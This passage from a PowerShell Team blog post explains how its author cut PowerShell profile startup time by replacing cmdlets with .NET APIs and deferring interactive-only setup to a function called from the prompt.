With all the changes from using cmdlets to .NET APIs, I was able to drop the start time to 1404 ms from 1465 ms.
This was pretty good for minimal work, but not enough of an improvement that I would notice on a daily basis.

Using Measure-Script again, I can see that the new hot spots were with Get-Command to see if some commands were available before doing some work.
There isn’t an equivalent .NET API to Get-Command, however, I could just try executing a command or cmdlet and catch the CommandNotFoundException.

Get-Command import-foo -ErrorAction Ignore takes about 15.8 ms.
However, try { import-foo } catch [System.Management.Automation.CommandNotFoundException] { } only takes about 10 ms.

With a few more changes I would also be reduce the profile start time to 1360 ms.
This was about a 100 ms improvement, but still not something I would notice on a daily basis.
To make an improvement that was noticeable I needed to take a different approach.

A new hope

It occurred to me that lots of the script I had in my profile were only ever intended for when I used PowerShell interactively.
This includes customizations to PSReadLine, ensuring dotnet was in my path, creating PSDrives as shortcuts to my test folder and git folders.
So the big change was to move all of that into a new private function called Initialize-Profile.
I would then update my prompt function to check if this function was ever called and if not, then call it to complete setting up my environment.

This meant that the majority of the script was moved to Initialize-Profile which was only ever run if there was an interactive prompt.
With this change, my profile startup reduced to 217 ms!

In a way, this is cheating a little bit as it will delay the first time I see a prompt when PowerShell starts up.
However, it’s a definite psycological impact not seeing the message from PowerShell telling me my profile was taking a large amount of the overall startup time.
There are other improvements I could make to defer more initialization until needed.
For example, only adding some tools to my $env:PATH when my file location is in a git repo.

Closing

  • Use tools like PSProfiler to identify hot spots in your scripts to know where to focus optimization efforts.
  • Understand trade offs for when to use cmdlets vs .NET APIs.
  • Micro-performance improvements do not necessarily translate to real world benefits.
  • Defer some initialization in your profile to the prompt if you can separate parts of your profile for interactive use vs automation.

The post Optimizing your $Profile appeared first on PowerShell Team.